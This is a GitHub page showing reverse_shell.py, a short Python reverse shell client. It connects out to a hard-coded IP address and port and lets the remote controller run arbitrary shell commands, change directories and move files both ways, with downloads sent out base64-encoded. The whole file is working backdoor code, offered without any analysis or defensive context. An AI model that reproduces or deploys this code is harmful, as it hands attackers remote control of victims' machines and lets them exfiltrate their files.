-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreverse_shell.py
More file actions
55 lines (46 loc) · 1.3 KB
/
reverse_shell.py
File metadata and controls
55 lines (46 loc) · 1.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python
import socket
import subprocess
import json
import os
import base64
def reliable_send(data):
json_data = json.dumps(data)
sock.send(json_data)
def reliable_recv():
data=""
while True:
try:
data = data + sock.recv(1024)
return json.loads(data)
except ValueError:
continue
def shell():
while True:
command = reliable_recv()
if command == 'q':
continue
elif command =="exit":
break
elif command[:2] == "cd" and len(command) >1:
try:
os.chdir(command[3:])
except:
continue
elif command[:7] =="sendall":
subprocess.Popen(command[8:],shell =True)
elif command[:8] == "download":
with open(command[9:],"rb") as file:
reliable_send(base64.b64encode(file.read()))
elif command[:6] =="upload":
with open(command[7:],"wb") as fin:
file_data = reliable_recv()
fin.write(base64.b64decode(file_data))
else :
proc = subprocess.Popen(command,shell = True,stdout = subprocess.PIPE,stderr = subprocess.PIPE,stdin = subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
reliable_send(result)
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("192.168.43.47",54321))
shell()
sock.close()